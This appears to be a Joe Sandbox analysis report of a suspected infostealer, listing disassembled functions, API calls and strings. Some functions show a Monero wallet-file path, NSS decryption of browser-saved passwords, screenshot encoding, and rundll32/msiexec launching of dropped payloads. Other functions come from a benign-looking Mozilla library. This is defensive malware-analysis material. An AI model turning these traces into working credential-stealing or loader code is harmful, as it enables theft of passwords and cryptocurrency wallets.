GetProcAddress.KERNEL32(00000000,SetWindowLongPtrW), ref: 6C6257BD
GetProcAddress.KERNEL32(?,StretchDIBits), ref: 6C6257D5
GetProcAddress.KERNEL32(?,CreateSolidBrush), ref: 6C6257EA
GetProcAddress.KERNEL32(?,DeleteObject), ref: 6C6257FF

Strings

LoadIconW, xrefs: 6C62575B
GetMonitorInfoW, xrefs: 6C6257A2
StretchDIBits, xrefs: 6C6257CC
AreDpiAwarenessContextsEqual, xrefs: 6C625637
CreateWindowExW, xrefs: 6C6256C5
LoadCursorW, xrefs: 6C625774
ReleaseDC, xrefs: 6C625742
RegisterClassW, xrefs: 6C6256AC
ShowWindow, xrefs: 6C6256DE
gdi32, xrefs: 6C62560A
DeleteObject, xrefs: 6C6257F9
GetDpiForWindow, xrefs: 6C625690
CreateSolidBrush, xrefs: 6C6257E4
GetSystemMetricsForDpi, xrefs: 6C625677
SetWindowPos, xrefs: 6C6256F7
EnableNonClientDpiScaling, xrefs: 6C625666
FillRect, xrefs: 6C625729
user32, xrefs: 6C625601
GetWindowDC, xrefs: 6C625710
MonitorFromWindow, xrefs: 6C62578D
GetThreadDpiAwarenessContext, xrefs: 6C62562D
SetWindowLongPtrW, xrefs: 6C6257B7

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: AddressProc$LibraryLoad
String ID: AreDpiAwarenessContextsEqual$CreateSolidBrush$CreateWindowExW$DeleteObject$EnableNonClientDpiScaling$FillRect$GetDpiForWindow$GetMonitorInfoW$GetSystemMetricsForDpi$GetThreadDpiAwarenessContext$GetWindowDC$LoadCursorW$LoadIconW$MonitorFromWindow$RegisterClassW$ReleaseDC$SetWindowLongPtrW$SetWindowPos$ShowWindow$StretchDIBits$gdi32$user32
API String ID: 2238633743-1964193996
Opcode ID: 68870181e7c17f378a9d2c322bba0a5ffcaade0fc7338bb7e1458283a2a12dc5
Instruction ID: cba89f1ec1eb1670f240a34d2a03f70f92a1dc0406add6d97c23997835cd278d
Opcode Fuzzy Hash: 68870181e7c17f378a9d2c322bba0a5ffcaade0fc7338bb7e1458283a2a12dc5
Instruction Fuzzy Hash: 0C515A707117129BDB10AF3A8D84D2A3AF8EB9638DF50D425E921D2A55EF78C801CF6D

Function 6C60CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C5D582D), ref: 6C60CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C5D582D), ref: 6C60CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C63FE98,?,?,?,?,?,6C5D582D), ref: 6C60CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5D582D), ref: 6C60CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C60CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C60CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C60CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C60CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C60CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C60CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C60CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C60CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C60CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C60CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C60CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C60CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C60CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C60CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C60CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C60CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C60CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C60CE8A

Strings

jsallocations, xrefs: 6C60CD0E
unregisteredthreads, xrefs: 6C60CE58
leaf, xrefs: 6C60CC66
fileio, xrefs: 6C60CC92
stackwalk, xrefs: 6C60CCF8
Unrecognized feature "%s"., xrefs: 6C60CEA0
cpuallthreads, xrefs: 6C60CE16
noiostacks, xrefs: 6C60CCBE
samplingallthreads, xrefs: 6C60CE2C
java, xrefs: 6C60CC37
mainthreadio, xrefs: 6C60CC7C
power, xrefs: 6C60CE84
ipcmessages, xrefs: 6C60CDBE
notimerresolutionchange, xrefs: 6C60CE00
fileioall, xrefs: 6C60CCA8
screenshots, xrefs: 6C60CCD4
markersallthreads, xrefs: 6C60CE42
preferencereads, xrefs: 6C60CD92
nostacksampling, xrefs: 6C60CD7C
default, xrefs: 6C60CC21
nativeallocations, xrefs: 6C60CDA8
processcpu, xrefs: 6C60CE6E
audiocallbacktracing, xrefs: 6C60CDD4
seqstyle, xrefs: 6C60CCE6

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction ID: 0157032341d49200f80903b149b0c9f35765b3cae3350caac7a101b7dc0dce10
Opcode Fuzzy Hash: f024ef2f86313e23e549c01f220e9acb0c1546119d6e5f6d12020b380653de6b
Instruction Fuzzy Hash: F05156C1B4563572FA0931156E20BAA1485EF6334AF107539EE0FB5EC0FB059A1AC9BF

Function 6C5D4470 Relevance: 45.7, APIs: 20, Strings: 6, Instructions: 178libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5D4730: GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C5D44B2,6C64E21C,6C64F7F8), ref: 6C5D473E
Part of subcall function 6C5D4730: GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C5D474A

GetModuleHandleW.KERNEL32(WRusr.dll), ref: 6C5D44BA
LoadLibraryW.KERNEL32(kernel32.dll), ref: 6C5D44D2
InitOnceExecuteOnce.KERNEL32(6C64F80C,6C5CF240,?,?), ref: 6C5D451A
GetModuleHandleW.KERNEL32(user32.dll), ref: 6C5D455C
LoadLibraryW.KERNEL32(?), ref: 6C5D4592
InitializeCriticalSection.KERNEL32(6C64F770), ref: 6C5D45A2
moz_xmalloc.MOZGLUE(00000008), ref: 6C5D45AA
moz_xmalloc.MOZGLUE(00000018), ref: 6C5D45BB
InitOnceExecuteOnce.KERNEL32(6C64F818,6C5CF240,?,?), ref: 6C5D4612
?IsWin32kLockedDown@mozilla@@YA_NXZ.MOZGLUE ref: 6C5D4636
LoadLibraryW.KERNEL32(user32.dll), ref: 6C5D4644
memset.VCRUNTIME140(?,00000000,00000114), ref: 6C5D466D
VerSetConditionMask.NTDLL ref: 6C5D469F
VerSetConditionMask.NTDLL ref: 6C5D46AB
VerSetConditionMask.NTDLL ref: 6C5D46B2
VerSetConditionMask.NTDLL ref: 6C5D46B9
VerSetConditionMask.NTDLL ref: 6C5D46C0
VerifyVersionInfoW.KERNEL32(?,00000037,00000000), ref: 6C5D46CD
GetModuleHandleW.KERNEL32(00000000), ref: 6C5D46F1
GetProcAddress.KERNEL32(00000000,NativeNtBlockSet_Write), ref: 6C5D46FD

Strings

l, xrefs: 6C5D4578
kernel32.dll, xrefs: 6C5D44CD
user32.dll, xrefs: 6C5D4557, 6C5D463F
Gdl, xrefs: 6C5D44FC
WRusr.dll, xrefs: 6C5D44B5
NativeNtBlockSet_Write, xrefs: 6C5D46F7

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ConditionMask$HandleModuleOnce$LibraryLoad$AddressExecuteInitProcmoz_xmalloc$CriticalDown@mozilla@@InfoInitializeLockedSectionVerifyVersionWin32kmemset
String ID: Gdl$NativeNtBlockSet_Write$WRusr.dll$kernel32.dll$l$user32.dll
API String ID: 1702738223-301897313
Opcode ID: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction ID: 51a20b3266608fa42c321d5f3ae4b49736d366ba45dafb63ee19ce4b4190214e
Opcode Fuzzy Hash: dfcf9ecb1b733e6f8406dd1ba99d4c3203ed45f77ae68f5896885df8366b912a
Instruction Fuzzy Hash: E56135B0604344AFEB00AF66CC89B997BB8EF8230CF05C558E5088B641D7B5A945CF5E

Function 0100C990 Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 384filestringCOMMON

Download Yara Rule

APIs

NSS_Init.NSS3(00000000), ref: 0100C9A5

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000,00000000,?,00A5CFD8,00000000,?,0102144C,00000000,?,?), ref: 0100CA6C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0100CA89
GetFileSize.KERNEL32(00000000,00000000), ref: 0100CA95
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 0100CAA8
ReadFile.KERNEL32(00000000,?,00000000,?,00000000), ref: 0100CAD9
StrStrA.SHLWAPI(?,00A5D0C8,01020B52), ref: 0100CAF7
StrStrA.SHLWAPI(00000000,00A5D020), ref: 0100CB1E
StrStrA.SHLWAPI(?,00A5D600,00000000,?,01021458,00000000,?,00000000,00000000,?,00A59278,00000000,?,01021454,00000000,?), ref: 0100CCA2
StrStrA.SHLWAPI(00000000,00A5D980), ref: 0100CCB9

Part of subcall function 0100C820: lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0100C871
Part of subcall function 0100C820: CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0100C87C
Part of subcall function 0100C820: PK11_GetInternalKeySlot.NSS3 ref: 0100C88A
Part of subcall function 0100C820: PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0100C8A5
Part of subcall function 0100C820: PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0100C8EB
Part of subcall function 0100C820: PK11_FreeSlot.NSS3(?), ref: 0100C961

StrStrA.SHLWAPI(?,00A5D980,00000000,?,0102145C,00000000,?,00000000,00A59288), ref: 0100CD5A
StrStrA.SHLWAPI(00000000,00A58F78), ref: 0100CD71

Part of subcall function 0100C820: lstrcat.KERNEL32(?,01020B46), ref: 0100C943
Part of subcall function 0100C820: lstrcat.KERNEL32(?,01020B47), ref: 0100C957
Part of subcall function 0100C820: lstrcat.KERNEL32(?,01020B4E), ref: 0100C978

lstrlen.KERNEL32(00000000), ref: 0100CE44
CloseHandle.KERNEL32(00000000), ref: 0100CE9C
NSS_Shutdown.NSS3 ref: 0100CEAA

Strings

, xrefs: 0100C9C6

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcat$lstrcpy$K11_lstrlen$PointerSlot$AuthenticateBinaryCloseCreateCryptDecryptFreeHandleInitInternalReadShutdownSizeString
String ID:
API String ID: 1052888304-3916222277
Opcode ID: f48105c9decd476a28d8dda8485cc0765a0824b8ab5be5dfd57c5752caa22196
Instruction ID: 2df4ef8cf75281f258c330cc116ad023f7048dbe6fd02a4ced9922e478d863fd
Opcode Fuzzy Hash: f48105c9decd476a28d8dda8485cc0765a0824b8ab5be5dfd57c5752caa22196
Instruction Fuzzy Hash: 69E16D76A01149EBDB15EBA0EC94FEEB778AF24300F404159F54767198EF386A4ACF60

Function 01019010 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

CreateStreamOnHGlobal.COMBASE(00000000,00000001,?), ref: 0101906C

Strings

image/jpeg, xrefs: 01019136

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: CreateGlobalStream
String ID: image/jpeg
API String ID: 2244384528-3785015651
Opcode ID: 9a764581edb1aa74b3210e08eb3f039e425dd217e794d5f02fd2211032cc4e54
Instruction ID: b5e385e978d2b794a18f739b23a526ad0adf13e5a9801a0190b007a412891ff5
Opcode Fuzzy Hash: 9a764581edb1aa74b3210e08eb3f039e425dd217e794d5f02fd2211032cc4e54
Instruction Fuzzy Hash: 5571F075950208EBDB14DFE4E898FDEB7B9FF48700F108508F556AB284DB38A905CB60

Function 6C61D4D0 Relevance: 21.2, APIs: 14, Instructions: 165threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C61D4F0
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D4FC
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D52A
GetCurrentThreadId.KERNEL32 ref: 6C61D530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D55F
free.MOZGLUE(00000000), ref: 6C61D585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C61D5D3
GetCurrentThreadId.KERNEL32 ref: 6C61D5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D652
GetCurrentThreadId.KERNEL32 ref: 6C61D658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C61D667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C61D6A2

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 408c736796d5af5399390b406866ea81de60f15969e29f212671ad72d28c46a0
Instruction ID: 8d2fe75d66d01dfeed7b7ae8b3f36af0af5b59135096a1779a710b16ec93479f
Opcode Fuzzy Hash: 408c736796d5af5399390b406866ea81de60f15969e29f212671ad72d28c46a0
Instruction Fuzzy Hash: D5518D71608B05DFC704DF35C884A9ABBF5FF89358F10862EE85A87B10DB30A845CB99

Function 010117A0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 162COMMON

Download Yara Rule

APIs

StrCmpCA.SHLWAPI(00000000,block), ref: 010117C5
ExitProcess.KERNEL32 ref: 010117D1

Strings

block, xrefs: 010117B7

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: ExitProcess
String ID: block
API String ID: 621844428-2199623458
Opcode ID: 362c8d26745c134d0261128a468fece865e3bad35c71f4a19b1cd5c591ba6400
Instruction ID: 7f4c156f857de171ec08e50d8c202fbc8b8afabcc3fd65438d53da653c0326c4
Opcode Fuzzy Hash: 362c8d26745c134d0261128a468fece865e3bad35c71f4a19b1cd5c591ba6400
Instruction Fuzzy Hash: 0D516EB4A00209EFDB18DFA5D948BBE77B6FF44704F00804DE996AB248D778E941CB61

Function 01012E30 Relevance: 19.7, APIs: 3, Strings: 8, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

ShellExecuteEx.SHELL32(0000003C), ref: 010131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0101335D
ShellExecuteEx.SHELL32(0000003C), ref: 010134EA

Strings

.dll, xrefs: 010131E5
C:\Windows\system32\msiexec.exe, xrefs: 010134BF
"" , xrefs: 0101309A
.msi, xrefs: 01013398
C:\Windows\system32\rundll32.exe, xrefs: 01013332
/passive, xrefs: 0101345B
/i ", xrefs: 010133E4
<, xrefs: 01013490

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
